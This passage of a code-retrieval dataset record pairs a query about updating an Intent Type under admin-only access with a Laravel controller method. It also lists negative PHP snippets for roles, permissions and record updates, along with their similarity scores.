self::T_ROLE){\r\n $item = $auth->createRole($this->name);\r\n $item->description = $this->description?:'创建['.$this->name.']角色';\r\n }else{\r\n $item = $auth->createPermission($this->name);\r\n $item->description = $this->description?:'创建['.$this->name.']权限';\r\n\r\n }\r\n return $auth->add($item);\r\n }", "public function create($requestedType, array $arguments = []);", "public function run() {\n if(User::where('user_type', \"Admin\")->count() == 0){\n \tUser::insert([\n \t\t[\n \t\t\t'first_name' => 'Bemi',\n \t\t\t'last_name' => 'Barin',\n \t\t\t'username' => 'admin',\n \t\t\t'email' => '[email protected]',\n \t\t\t'user_type' => \"Admin\",\n \t\t\t'email_verified_at' => Carbon\\Carbon::now()->toDateString(),\n \t\t\t'password' => Hash::make('Admin123'),\n \t\t\t'uuid' => (string) Str::uuid(),\n \t\t\t'created_at' => Carbon\\Carbon::now()->toDateString(),\n \t\t\t'updated_at' => Carbon\\Carbon::now()->toDateString()\n \t\t]\n \t]);\n\n \t// Attach role to user\n \t$user = User::where('user_type', \"Admin\")->first();\n \t$user->assignRole('Admin');\n }\n }", "function SettingsController_DefineAdminPermissions_Handler(&$Sender) {\n if (isset($Sender->RequiredAdminPermissions)) {\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Settings.Manage';\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Categories.Manage';\n $Sender->RequiredAdminPermissions[] = 'Vanilla.Spam.Manage';\n }\n }", "public function create()\n {\n // if (! Gate::allows('users_manage')) {\n // return abort(401);\n // }\n return view('admin.permissions.create');\n }", "public static function createRole()\n {\n add_action('init', __NAMESPACE__ . '\\DigitalWebmaster::renameAdministratorRole');\n }" ]
[ "0.56603056", "0.5605178", "0.5592484", "0.55763", "0.5529829", "0.55279577", "0.5478198", "0.54247", "0.5421726", "0.5410842", "0.5372102", "0.5367674", "0.53574514", "0.53476495", "0.5329031", "0.53181726", "0.5307539", "0.53", "0.5285907", "0.5285543", "0.5283179", "0.52778596", "0.52743024", "0.52718955", "0.5269506", "0.52527595", "0.5247669", "0.5231418", "0.5221925", "0.52180356", "0.52116215", "0.5205973", "0.51930714", "0.5189012", "0.5180644", "0.51627266", "0.516009", "0.5149016", "0.5146557", "0.5143469", "0.51420367", "0.514", "0.51388425", "0.5136031", "0.51325655", "0.5130972", "0.51234394", "0.51214373", "0.5108617", "0.50968903", "0.5096124", "0.50917214", "0.5079204", "0.5069694", "0.50678784", "0.50652313", "0.505536", "0.5053408", "0.50527954", "0.50508225", "0.505038", "0.5047992", "0.50478953", "0.5047298", "0.50363415", "0.5023094", "0.5020619", "0.50175047", "0.5017285", "0.5016029", "0.5009972", "0.500719", "0.50027066", "0.50008917", "0.49994928", "0.4999086", "0.49953884", "0.49919978", "0.4990898", "0.49865693", "0.49856547", "0.49841493", "0.49834353", "0.4965681", "0.4965151", "0.4961773", "0.49615046", "0.49555638", "0.49478465", "0.49465", "0.49441922", "0.494417", "0.49438998", "0.49371386", "0.49327624", "0.49316865", "0.49242178", "0.4922644", "0.4922459", "0.4919483", "0.49164435" ]
0.0
-1
Update Intent Type Modifies information on an existing Intent Type Rules of Access User is an ADMIN
public function update(Request $request, $id) { $type = $this->service()->repo()->single($id); $this->authorize('update', $type); $type = $this->service()->repo()->update($id, $request->all()); return $this->json($type); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function update(Request $request, UserType $userType)\n {\n //\n }", "public function update(Request $request, type_of_user $type_of_user)\n {\n //\n }", "public function update(Request $request, Type $type)\n {\n //\n }", "public function update(Request $request, Type $type)\n {\n //\n }", "function updateMemberType($userId, $userType) {\r\n $sql = $this->db->prepare(\"UPDATE USER SET type=:user_type WHERE UserID=:user_id\");\r\n $sql->execute(array(\r\n 'user_type' => $userType,\r\n 'user_id' => $userId,\r\n ));\r\n return true;\r\n }", "public function update(Request $request, Type $type)\n {\n Gate::authorize('edit-type', $type);\n $validationData = $request->validate([\n 'name' => 'required|min:2',\n ]);\n\n $type->update([\n 'name' => $validationData['name'],\n 'slug' => Str::slug($validationData['name']),\n 'user_id' => Auth::id()\n ]);\n return redirect()->route('admin.types.show', ['type' => $type->id])->with(\"success\", \"{$type->name} has been updated successfully\");\n }", "public function editUserType($UserTypeID, $Input=array()) {\r\n\t\t/*delete group permissions*/\r\n\t\t$this->db->where(\"UserTypeID\",$UserTypeID);\r\n\t\t$this->db->delete('admin_user_type_permission');\r\n\t\t\r\n\t\t$UpdateData = array(\r\n\t\t\t\"UserTypeName\" \t=>\t$Input['GroupName'],\r\n\t\t);\r\n\t\t$this->db->where(\"UserTypeID\",$UserTypeID);\r\n $this->db->limit(1);\r\n $this->db->update('tbl_users_type', $UpdateData);\r\n\r\n\t\tif(!empty($Input['ModuleName'])){ /*Update permissions*/\r\n \tarray_push($Input['ModuleName'], 'dashboard');\r\n\t\t\tforeach($Input['ModuleName'] as $ModuleName){\r\n\t\t\t\t$ModuleData = $this->getModules(\"M.ModuleID\", array(\"ModuleName\" => $ModuleName));\r\n\t\t\t\tif(!empty($ModuleData)){\r\n\t\t\t\t\t$IsDefault = NULL;\r\n\t\t\t\t\tif ($Input['DefaultModule'] == $ModuleName) {\r\n\t\t\t\t\t\t$IsDefault = 'Yes';\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$InsertData[] = array('UserTypeID'=>$UserTypeID,'ModuleID' => $ModuleData['ModuleID'],'IsDefault' => $IsDefault);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$this->db->insert_batch('admin_user_type_permission', $InsertData); \r\n\t\t}\t\t\r\n\t\treturn true;\r\n\t}", "public function updateEditActivityType(\n $options\n ) {\n //check or get oauth token\n OAuthManager::getInstance()->checkAuthorization();\n\n //prepare query string for API call\n $_queryBuilder = '/activityTypes/{id}';\n\n //process optional query parameters\n $_queryBuilder = APIHelper::appendUrlWithTemplateParameters($_queryBuilder, array (\n 'id' => $this->val($options, 'id'),\n ));\n\n //validate and preprocess url\n $_queryUrl = APIHelper::cleanUrl(Configuration::getBaseUri() . $_queryBuilder);\n\n //prepare headers\n $_headers = array (\n 'user-agent' => BaseController::USER_AGENT,\n 'Authorization' => sprintf('Bearer %1$s', Configuration::$oAuthToken->accessToken)\n );\n\n //prepare parameters\n $_parameters = array (\n 'name' => $this->val($options, 'name'),\n 'icon_key' => APIHelper::prepareFormFields($this->val($options, 'iconKey')),\n 'color' => $this->val($options, 'color'),\n 'order_nr' => $this->val($options, 'orderNr')\n );\n\n //call on-before Http callback\n $_httpRequest = new HttpRequest(HttpMethod::PUT, $_headers, $_queryUrl, $_parameters);\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnBeforeRequest($_httpRequest);\n }\n\n //and invoke the API call request to fetch the response\n $response = Request::put($_queryUrl, $_headers, Request\\Body::Form($_parameters));\n\n $_httpResponse = new HttpResponse($response->code, $response->headers, $response->raw_body);\n $_httpContext = new HttpContext($_httpRequest, $_httpResponse);\n\n //call on-after Http callback\n if ($this->getHttpCallBack() != null) {\n $this->getHttpCallBack()->callOnAfterRequest($_httpContext);\n }\n\n //handle errors defined at the API level\n $this->validateResponse($_httpResponse, $_httpContext);\n\n return CamelCaseHelper::keysToCamelCase($response->body);\n }", "public function update(Request $request, $type)\n {\n if ('profile' == $type) {\n $this->updateProfile($request);\n } else {\n $this->updatePassword($request);\n }\n\n return redirect()->action('Backend\\Admin\\ProfileController@index');\n }", "public function edit(type_of_user $type_of_user)\n {\n //\n }", "public function update(Request $request, Type $type)\n {\n //\n $request -> validate([\n 'name' => 'required'\n ]);\n\n Type::update($request->all());\n\n return redirect()->route('type')\n ->with('success','แก้ไขหมวดหมู่อัลบั้มสำเร็จ');\n }", "public function updateEventWebhookRule($accountId, $type, $action)\n {\n $url = $this->weconnectDomain . \"/accounts/$accountId/webhookRules/eventType/$type/$action\";\n return $this->_curl(self::METHOD_POST, $url, 'channel');\n }", "private function update_type($new_type) { \n\n\t\tif ($this->_update_item('type',$new_type,'50')) { \n\t\t\t$this->type = $new_type;\n\t\t}\n\n\t}", "public function edit(UserType $userType)\n {\n //\n }", "public function edit(Type $type)\n {\n //\n }", "public function edit(Type $type)\n {\n //\n }", "public function edit(Type $type)\n {\n //\n }", "public function update(Request $request, PermitType $permit_type)\n {\n $data = $request->validate([\n 'abbreviation' => 'string|required',\n 'name' => 'string'\n ]);\n\n $permit_type->Abbreviation = $data['abbreviation'];\n\n if ($request->has('name'))\n $permit_type->Name = $data['name'];\n\n $permit_type->save();\n\n return response()->json([\n 'message' => lang('update_successful')\n ], 200);\n }", "function change_course_type_activity($course_type_ids)\r\n {\r\n if ($course_type_ids)\r\n {\r\n if (! is_array($course_type_ids))\r\n {\r\n $course_type_ids = array($course_type_ids);\r\n }\r\n\r\n $success = true;\r\n\r\n foreach ($course_type_ids as $course_type_id)\r\n {\r\n $course_type = $this->retrieve_course_type($course_type_id);\r\n if (Request :: get('extra'))\r\n {\r\n $course_type->set_active(Request :: get('extra') == 'enable' ? 1 : 0);\r\n }\r\n else\r\n $course_type->set_active(! $course_type->get_active());\r\n\r\n if (! $course_type->update())\r\n $success = false;\r\n }\r\n\r\n $this->redirect(Translation :: get($success ? 'CourseTypeUpdated' : 'CourseTypeNotUpdated'), ($success ? false : true), array(Application :: PARAM_ACTION => WeblcmsManager :: ACTION_ADMIN_COURSE_TYPE_BROWSER));\r\n }\r\n }", "public function modifierType($type)\r\n {\r\n // Connexion à la base\r\n self::connexionBD();\r\n \r\n // Prépare la requête\r\n $requete = self::getBaseDeDonnees()->getCnxBD()->prepare(self::RQT_MODIFIER_TYPE_UTIL);\r\n \r\n $ok = $requete->execute(array(\r\n ':login' => $this->login,\r\n ':type' => ($type == 'A' ? self::$TYPE_ADMIN : self::$TYPE_USER)\r\n ));\r\n \r\n if ($ok) {\r\n $this->type = $type;\r\n }\r\n \r\n return $ok;\r\n }", "public function updateAdType($type_id, $type_name, $is_available)\n {\n $query = \"UPDATE adv_type SET name = $type_name, is_available=$is_available WHERE id = $type_id\";\n return $this->getQueryResult($query, $this->getConnection());\n }", "public function updateMsgWebhookRule($accountId, $type, $action)\n {\n $url = $this->weconnectDomain . \"/accounts/$accountId/webhookRules/msgType/$type/$action\";\n return $this->_curl(self::METHOD_POST, $url, 'channel');\n }", "public function updateType(User $user, Admin $admin)\n {\n return $user->isAdmin() && $user->isNot($admin);\n }", "public function change($type, $name=\"\", $value=\"\")\n\t{\n\t\t$id = $this->ci->session->userdata('id');\n\t\t$user = $this->ci->ion_auth->get_user($this->ci->session->userdata('user_id'));\n\t\t$identity = $this->ci->session->userdata($this->ci->config->item('identity', 'ion_auth'));\n\t\t\n\t\tswitch ($type) {\n\t\t\tcase \"switch\":\n\t\t\t\tif ($value == \"true\")\n\t\t\t\t{\n\t\t\t\t\t$value = 1;\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$value = 0;\n\t\t\t\t}\n\t\t\t\t$data = array(\n\t\t\t\t\t\t$name => $value,\n\t\t\t\t);\n\t\t\t\t$this->ci->ion_auth->update_user($id, $data);\n\t\t\t\tbreak;\n\t\t\n\t\t\tcase \"input\":\n\t\t\t\t$data = array(\n\t\t\t\t\t\t$name => $value,\n\t\t\t\t);\n\t\t\t\t$this->ci->ion_auth->update_user($id, $data);\n\t\t\t\tbreak;\n\t\t\tcase \"userpic\":\n\t\t\t\t$data = array(\n\t\t\t\t\t\t$name => $value,\n\t\t\t\t);\n\t\t\t\t$this->clear_userpic();\n\t\t\t\t$this->ci->ion_auth->update_user($id, $data);\n\t\t\t\tbreak;\n\t\t\n\t\t\tcase \"password\":\n\t\t\t\t$change = $this->ci->ion_auth->change_password($identity, $this->input->post('new'));\n\t\t\t\tif ($change)\n\t\t\t\t{ //if the password was successfully changed\n\t\t\t\t\t$this->ci->session->set_flashdata('message', $this->ion_auth->messages());\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->ci->session->set_flashdata('message', $this->ion_auth->errors());\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\n\t\t\tdefault:\n\t\t\t\t;\n\t\t\t\tbreak;\n\t\t}\n\t\t$messages = $this->ci->ion_auth->messages();\n\t\treturn $messages;\n\t}", "function update_role_permision() {\n\t\t$user_role = $this->get_role_permission($_POST['role_id']);\n\t\tforeach ($user_role->result() as $role) {\n\t\t\t\n\t\t\t$this->db->where('entry_id', $role->entry_id);\n\t\t\t$list = $_POST['role_permission'];\n\t\t\t$allow = isset($list[$role->entry_id]) ? 1 : 0;\n\t\t\t$this->db->update('system_security.security_role_permission', array('allow_deny' => $allow));\n\t\t}\n\t}", "public function addFeedType ($type)\n\t{\n\t\t$Statement = $this->Database->prepare(\"UPDATE users SET hp_feed_type = ? WHERE id = ?\");\n\t\t$Statement->execute(array($type, $this->id));\n\t}", "public function actionSetTypeUsers()\n {\n if (count($_GET) > 0) {\n foreach ($_GET as $userID => $typeValue) {\n $userID = intval($userID);\n\n //check input data\n if ($userID == 0 || !isset($this->userTypes[$typeValue])) {\n $this->redirect('/admin?tab=user_type_mgmt');\n die;\n }\n\n $typeValue = $this->userTypes[$typeValue];\n\n // get user\n $user = Users::model()->findByPk($userID);\n\n\n if ($typeValue == 'DB Admin') {\n //we need to check it\n\n //if current user is\n if (Yii::app()->user->id == 'admin') {\n Yii::app()->user->setFlash('error', \"Admin can't change his user type to 'DBAdmin'\");\n } else {\n $user->User_Type = $typeValue;\n $user->save();\n Yii::app()->user->setFlash('success', \"Users' types have been successfully updated!\");\n }\n } else {\n $user->User_Type = $typeValue;\n $user->save();\n Yii::app()->user->setFlash('success', \"Users' types have been successfully updated!\");\n }\n\n\n\n\n }\n\n\n } else {\n Yii::app()->user->setFlash('success', \"You don't choose the users!\");\n }\n $this->redirect('/admin?tab=user_type_mgmt');\n }", "public function update($id, Request $request) {\n\n // find role by id\n $role = Sentinel::findRoleById($id);\n // inputs\n $data = $request->get('data');\n $value = $request->get('value');\n $type = $request->get('type');\n \n //minor improvement to prevent inserting unwated values\n if(!(string)$value)\n return \"failed\";\n \n switch ($type) {\n case 'single':\n if (isset($role->permissions[$value])) {\n $role->updatePermission($value, ($data == 'true') ? true : false);\n $role->save();\n return \"update\";\n } else {\n $role->addPermission($value, ($data == 'true') ? true : false);\n $role->save();\n return \"add\";\n }\n case 'menu':\n $menu = ModuleMenu::find($value);\n if ($menu) {\n foreach ($menu->permissions as $permission) {\n $permission_name = $permission->permission;\n if (isset($role->permissions[$permission_name])) {\n $role->updatePermission($permission_name, ($data == 'true') ? true : false);\n } else {\n $role->addPermission($permission_name, ($data == 'true') ? true : false);\n }\n }\n $role->save();\n return \"success\";\n }\n return \"failed\";\n }\n }", "public function update(Request $request, $id,$type)\n {\n if($type == 1){\n $q = QandA::findOrFail($id);\n $q->qa_state = !$q->qa_state;\n $q->save();\n return redirect()->back()->withSuccess('Done');\n }else{\n $data = $request->validate([\n 'question' => 'required|min:10',\n 'answer' => 'required|min:10',\n ]);\n $q = QandA::findOrFail($id);\n $q->qa_q = $request->question;\n $q->qa_a = $request->answer;\n $q->qa_state = isset($request->state) ? 1 : 0;\n $q->save();\n return redirect()->back()->withSuccess('Done');\n }\n }", "public function update($data, $type = '')\n {\n }", "public function update(Request $request, rbacRoleUser $rbacRoleUser)\n {\n //\n }", "public function update(AuditTypeRequest $request, $id)\n\t{\n\t\t$auditType = AuditType::findOrFail($id);;\n $auditType->name = $request->name;\n $auditType->description = $request->description;\n $auditType->user_id = Auth::user()->id;\n\t}", "public function save_adaptive(Request $request)\n {\n // User authorization required\n $model = $this->User->GetByID(auth()->user()->id);\n\n // Validated Request\n $data = $request->input('read_type');\n $model->read_type = $data;\n $model->save();\n\n return redirect(\"/admin/dashboard\")->with(['success' => auth()->user()->name .' read type has been updated to '. $data .'!']);\n }", "function set_action_type($action_type='customer')\n\t{\n\t\t$this->action_type = (strtolower($action_type)=='customer') ? 'ACTION_BY_CUSTOMER' : 'ACTION_BY_CONTACT';\n\t}", "public function test_mod_lti_update_tool_type() {\n $type = mod_lti_external::create_tool_type($this->getExternalTestFileUrl('/ims_cartridge_basic_lti_link.xml'), '', '');\n $type = mod_lti_external::update_tool_type($type['id'], 'New name', 'New description', LTI_TOOL_STATE_PENDING);\n $this->assertEquals('New name', $type['name']);\n $this->assertEquals('New description', $type['description']);\n $this->assertEquals('Pending', $type['state']['text']);\n }", "public function update(TypeRequest $request, Type $type)\n {\n $type->name = $request->name;\n\n if(!$type->isDirty())\n {\n return response()->json([\"error\" => 'se debe especificar al menos un valor diferente para actualizar', \"code\" => 422],422);\n }\n\n $type->save();\n\n return $this->showOne($type, 'type actulizado correctamente');\n }", "public function change(Request $request) {\n // return redirect()->back()->with->('sucess', 'Custodian deleted success');\n $change = User::where('email', '=', $request['email']);\n $change->update(['user_type' => 1]);\n }", "public function setPermissionType($val)\n {\n $this->_propDict[\"permissionType\"] = $val;\n return $this;\n }", "public function changetypeAction()\n {\n \t// disable view rendering\n \t//$this->_helper->viewRenderer->setNoRender();\n \t// check for lead type and lead id\n\t\t$this->leadType = $this->_request->getParam('type',null);\n\t\t$this->leadId = $this->_request->getParam('id',null);\n\n\t\tif (!$this->leadType) {\n\t\t\t$this->_redirect('error/show/?NO_LEAD_TYPE');\n\t\t}\n\t\tif (!$this->leadId) {\n\t\t\t$this->_redirect('error/show/?NO_LEAD_ID');\n\t\t}\n\n\t\t$db = Zend_Registry::get('db');\n\n\t\t// if we have post, we need to change lead\n\t\tif ($this->_request->isPost()) {\n\t\t\tif ($this->leadType == 'leads') {\n\t\t\t\t$leadData = $db->fetchRow('SELECT * FROM leads WHERE id = '.$this->leadId);\n\t\t\t\tif (!$leadData) {\n\t\t\t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&error=CHANGE_TYPE_FAIL');\n\t\t\t\t}\n\n\t\t\t\t//$leadData['total_amount'] = $this->_request->getParam('total_amount','');\n\t\t\t\t$leadData['ev_day_cname'] = $this->_request->getParam('ev_day_cname','');\n\t\t\t\t$leadData['ev_day_cno'] = $this->_request->getParam('ev_day_cno','');\n\t\t\t\t$leadData['event_date'] = $this->_request->getParam('event_date','');\n\t\t\t\t$leadData['approval'] = 'change';\n\t\t\t\tunset($leadData['id']);\n\t\t\t\tunset($leadData['next_followup']);\n\n\t\t\t\t// move the lead to enrollments table\n\t\t\t\tif (!$db->insert('booked',$leadData)) {\n\t\t\t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&error=CHANGE_TYPE_FAIL');\n\t\t\t\t}\n\t\t\t\t$newLeadId = $db->lastInsertId();\n\t\t\t\t// delete the lead from leads table\n\t\t\t\t$db->delete('leads','id = '.$this->leadId);\n\n\t\t\t\t// update data in the communication table\n\t\t\t\t$db->update('communication',array('user_id' => $newLeadId, 'user_type' => 'booked'),'user_id = '.$this->leadId.' AND user_type = \\'leads\\'');\n\t\t\t\t// update data in the payments table\n\t\t\t\t$db->update('payments',array('user_id' => $newLeadId, 'user_type' => 'booked'),'user_id = '.$this->leadId.' AND user_type = \\'leads\\'');\n\t\t\t\t// update data in the quotes table\n\t\t\t\t$db->update('quotes',array('user_id' => $newLeadId, 'user_type' => 'booked'),'user_id = '.$this->leadId.' AND user_type = \\'leads\\'');\n\n\t\t\t\t$this->_redirect('booked?message=CHANGE_STATUS');\n\t\t\t}\n\t\t}\n\n\t\t// cancel cold or dead lead\n \tif ($this->_request->__isset('nocold')) {\n \t\tif (!$db->update($this->leadType,array('cold_lead' => '0'),'id = '.$this->leadId))\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&error=CHANGE_TYPE_FAIL');\n \t\telse\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&message=CHANGE_TYPE_SUCC');\n \t}\n\n\t\t// mark as cold lead\n \tif ($this->_request->__isset('tocold')) {\n \t\tif (!$db->update($this->leadType,array('cold_lead' => '1'),'id = '.$this->leadId))\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&error=TO_COLDLEAD_FAIL');\n \t\telse\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&message=TO_COLDLEAD_SUCC');\n \t}\n\n \t// mark as dead lead\n \tif ($this->_request->__isset('todead')) {\n \t\tif (!$db->update($this->leadType,array('cold_lead' => '2'),'id = '.$this->leadId))\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&error=TO_DEADLEAD_FAIL');\n \t\telse\n \t\t\t$this->_redirect('profile/?type='.$this->leadType.'&id='.$this->leadId.'&message=TO_DEADLEAD_SUCC');\n \t}\n\n \t// display a form for type change\n \t$this->view->leadType = $this->leadType;\n \t$this->view->leadId = $this->leadId;\n\n \t// get the event date\n \t// fetch event date if quote exists\n \t$evDate = $db->fetchOne('SELECT event_date FROM quotes WHERE user_id = ' . $this->leadId . ' LIMIT 1');\n \t$this->view->formData = array();\n \t$this->view->formData['event_date'] = !empty($evDate) ? $evDate : '';\n }", "public function lead_status_type_change($data, $type_val)\n {\n $columns = '';\n $condition = '';\n if($data != '')\n {\n $columns = \"$type_val = '\".trim($data['type_val']).\"', modified_on = '\".trim($data['modified_on']).\"', modified_by = '\".trim($data['modified_by']).\"'\";\n\n\n $condition = ' lead_id = \"'.trim($data['lead_id']).'\"';\n $result = common_update_values($columns, 'leads', $condition);\n }\n else\n {\n $result = false;\n }\n return $result;\n }", "public function postChangeprivacysAction(Request $request) {\n $freq_obj = $request->get('reqObj');\n $fde_serialize = $this->decodeObjectAction($freq_obj);\n\n if (isset($fde_serialize)) {\n $de_serialize = $fde_serialize;\n } else {\n $de_serialize = $this->getAppData($request);\n }\n $object_info = (object) $de_serialize; //convert an array into object.\n\n $required_parameter = array('user_id', 'type', 'type_id', 'privacy_setting');\n $data = array();\n\n //checking for parameter missing.\n $chk_error = $this->checkParamsAction($required_parameter, $object_info);\n if ($chk_error) {\n $data = array('code' => 300, 'message' => 'YOU_HAVE_MISSED_A_PARAMETER ' . $this->miss_param, 'data' => $data);\n echo json_encode($data);\n exit;\n }\n \n //extract parameters.\n $item_type = $object_info->type;\n $item_id = $object_info->type_id;\n $privacy_setting = $object_info->privacy_setting;\n $user_id = $object_info->user_id;\n \n //check for rating type\n if (!in_array($item_type, $this->privacy_type_item)) {\n return array('code' => 176, 'message' => 'PRIVACY_TYPE_NOT_SUPPPORTED', 'data' => $data);\n }\n \n //check for privacy setting..\n if (!in_array($privacy_setting, $this->privacy_setting_numbers)) {\n return array('code' => 177, 'message' => 'PRIVACY_VALUE_NOT_SUPPPORTED', 'data' => $data);\n }\n switch ($item_type) {\n case 'dashboard_post':\n $this->changeDashboardPostPrivacy($item_type, $item_id, $privacy_setting, $user_id);\n break;\n \n }\n }", "public function update($UUID,$UserID,$Type,$Application,$AdminName) {\n try {\n $this->validateAccountParams($UserID, $Type, $Application, $UUID);\n $this->accountGateway->update($UUID,$UserID, $Type, $Application, $AdminName);\n } catch (ValidationException $exc) {\n throw $exc;\n } catch (PDOException $e){\n throw $e;\n }\n }", "public function update(Request $request, ExamType $examType)\n {\n $request->validate([\n \"name\" => \"required|string|max:255\",\n \"slug\" => \"required|string|max:255|unique:exam_types,slug,\" . $examType->id,\n ]);\n $data = [\n \"name\" => $request->name,\n \"slug\" => $request->slug\n ];\n if ($examType->update($data)) {\n Toastr::success('Successfully Exam Type Updated', \"Success\");\n } else {\n Toastr::error('Something Went Wrong!', \"Error\");\n }\n return back();\n }", "public function trackProfileUpdate(int $type)\n {\n $this->engagement->setType($type);\n $this->saveTracker();\n }", "public function edit(ActivityType $activityType)\n {\n return $this->sendResponse($activityType, 'Activity Type retrieved successfully.');\n }", "protected function getActionType()\n {\n return parent::ACTIONTYPE_PUT;\n }", "public function update(ActivityType $activityType, UpdateActivityTypeRequest $request)\n {\n $this->activityTypeRepository->update($request->all(), $activityType->id);\n\n return $this->sendSuccess('Activity Type updated successfully.');\n }", "public function testUpdatePermissionSet()\n {\n }", "function approveMember($userId) {\r\n $sql = $this->db->prepare(\"UPDATE USER SET type=2 WHERE UserID=:user_id\");\r\n $sql->execute(array('user_id' => $userId));\r\n return true;\r\n }", "public function UpdatePermission() {\n if ($this->get_request_method() != \"POST\") {\n $this->response('', 406);\n }\n\n if (isset($_REQUEST['data'])) {\n\n foreach ($_REQUEST['data'] as $data) {\n if (isset($data['idUser'])) {\n $idUser = $data['idUser'];\n }\n if (isset($data['client'])) {\n $client = (int) ($data['client'] === 'true');\n }\n if (isset($data['fournisseur'])) {\n $fournisseur = (int) ($data['fournisseur'] === 'true');\n }\n if (isset($data['article'])) {\n $article = (int) ($data['article'] === 'true');\n }\n if (isset($data['stock'])) {\n $stock = (int) ($data['stock'] === 'true');\n }\n if (isset($data['factureAchat'])) {\n $factureAchat = (int) ($data['factureAchat'] === 'true');\n }\n if (isset($data['factureVente'])) {\n $factureVente = (int) ($data['factureVente'] === 'true');\n }\n if (isset($data['commandeAchat'])) {\n $commandeAchat = (int) ($data['commandeAchat'] === 'true');\n }\n if (isset($data['commandeVente'])) {\n $commandeVente = (int) ($data['commandeVente'] === 'true');\n }\n if (isset($data['bonLivraisonAchat'])) {\n $bonLivraisonAchat = (int) ($data['bonLivraisonAchat'] === 'true');\n }\n if (isset($data['bonLivraisonVente'])) {\n $bonLivraisonVente = (int) ($data['bonLivraisonVente'] === 'true');\n }\n if (isset($data['paiement'])) {\n $paiement = (int) ($data['paiement'] === 'true');\n }\n }\n\n if (!empty($idUser)) {\n try {\n $sql = $this->db->prepare(\"UPDATE permission SET client = :client, fournisseur = :fournisseur, article = :article, stock = :stock, factureAchat = :factureAchat,\" .\n \"factureVente = :factureVente, commandeAchat = :commandeAchat, commandeVente = :commandeVente, bonLivraisonAchat = :bonLivraisonAchat,\" .\n \"bonLivraisonVente = :bonLivraisonVente, paiement = :paiement WHERE idUser= :idUser\");\n\n $sql->bindParam('client', $client, PDO::PARAM_INT);\n $sql->bindParam('fournisseur', $fournisseur, PDO::PARAM_INT);\n $sql->bindParam('article', $article, PDO::PARAM_INT);\n $sql->bindParam('stock', $stock, PDO::PARAM_INT);\n $sql->bindParam('factureAchat', $factureAchat, PDO::PARAM_INT);\n $sql->bindParam('factureVente', $factureVente, PDO::PARAM_INT);\n $sql->bindParam('commandeAchat', $commandeAchat, PDO::PARAM_INT);\n $sql->bindParam('commandeVente', $commandeVente, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonAchat', $bonLivraisonAchat, PDO::PARAM_INT);\n $sql->bindParam('bonLivraisonVente', $bonLivraisonVente, PDO::PARAM_INT);\n $sql->bindParam('paiement', $paiement, PDO::PARAM_INT);\n $sql->bindParam('idUser', $idUser, PDO::PARAM_INT);\n\n $sql->execute();\n\n if ($sql) {\n $success = array('status' => \"Success\", \"msg\" => \"Successfully updated\");\n $this->response($this->json($success), 200);\n }\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid params \");\n $this->response($this->json($error), 400);\n } catch (Exception $ex) {\n $this->response('', $ex->getMessage()); // If no records \"No Content\" status\n }\n }\n }\n\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid param\");\n $this->response($this->json($error), 400);\n }", "public function permission_update(Request $request, $RoleId)\n {\n\n $data = array(\n 'RoleId' => $request->input('RoleId'),\n 'UserAd' => $request->input('UserAd'),\n 'UserPr' => $request->input('UserPr'),\n 'DriverAd' => $request->input('DriverAd'),\n 'AssetMa' => $request->input('AssetMa'),\n 'VehiclePr' => $request->input('VehiclePr'),\n 'InventoryIt' => $request->input('InventoryIt'),\n 'WorkOr' => $request->input('WorkOr'),\n 'ClientAd' => $request->input('ClientAd'),\n 'ClientPr' => $request->input('ClientPr'),\n 'ClientVe' => $request->input('ClientVe'),\n 'ClientWo' => $request->input('ClientWo'),\n 'JobMa' => $request->input('JobMa'),\n 'Job' => $request->input('Job'),\n 'WorkforceSc' => $request->input('WorkforceSc'),\n 'AssignVe' => $request->input('AssignVe'),\n 'AssignJo' => $request->input('AssignJo'),\n 'Community' => $request->input('Community'),\n 'Report' => $request->input('Report'),\n 'SysteCo' => $request->input('SysteCo'),\n 'CreatedBy' => $request->input('CreatedBy'),\n 'updated_at' => date('Y-m-j')\n );\n\n Permission::where('RoleId', $RoleId)->update($data);\n return redirect()->route('role.index')->with('info', 'Role Permission Updated Successfully');\n\n }", "public function addPerm($uid,$rid,$type){\n\t\terror_log($uid.'-'.$rid.'-'.$type);\n\t\t$arr=array(\n\t\t\t'uid'\t=>$uid,\n\t\t\t'rid'\t=>$rid,\n\t\t\t'rtype'\t=>$type,\n\t\t\t'rcode'\t=>''\n\t\t);\n\t\t$this->db->insert('user_admin',$arr);\n\t}", "public function update(CreateLoanTypeRequest $request, LoanType $type)\n {\n try {\n $this->dispatch(new UpdateLoanTypeJob($request, $type));\n } catch (ConflictWithExistingRecord $exception) {\n logger()->error('Error updating loan type', [\n 'error' => $exception->getMessage()\n ]);\n\n flash()->error(\"Another loan type with the same name exists!\");\n\n return back();\n\n }\n flash()->success(\"Loan type was updated successfully\");\n\n return redirect()->route('loan_products.types.index');\n }", "public function update(Request $request, Ctype $ctype)\n {\n //\n }", "function user_type_check($user) {\n\n $user = User::find($user);\n\n if($user) {\n\n // User need subscripe the plan\n\n if(Setting::get('is_subscription')) {\n\n $user->user_type = 0;\n\n } else {\n // Enable the user as paid user\n $user->user_type = 1;\n }\n\n $user->save();\n\n }\n\n}", "public function update(GameType $gametype, Request $request)\n {\n\n $gametype->description = ucwords($request->description);\n $gametype->medal_points = $request->medal_points;\n $gametype->save();\n\n return response()->json(['title' 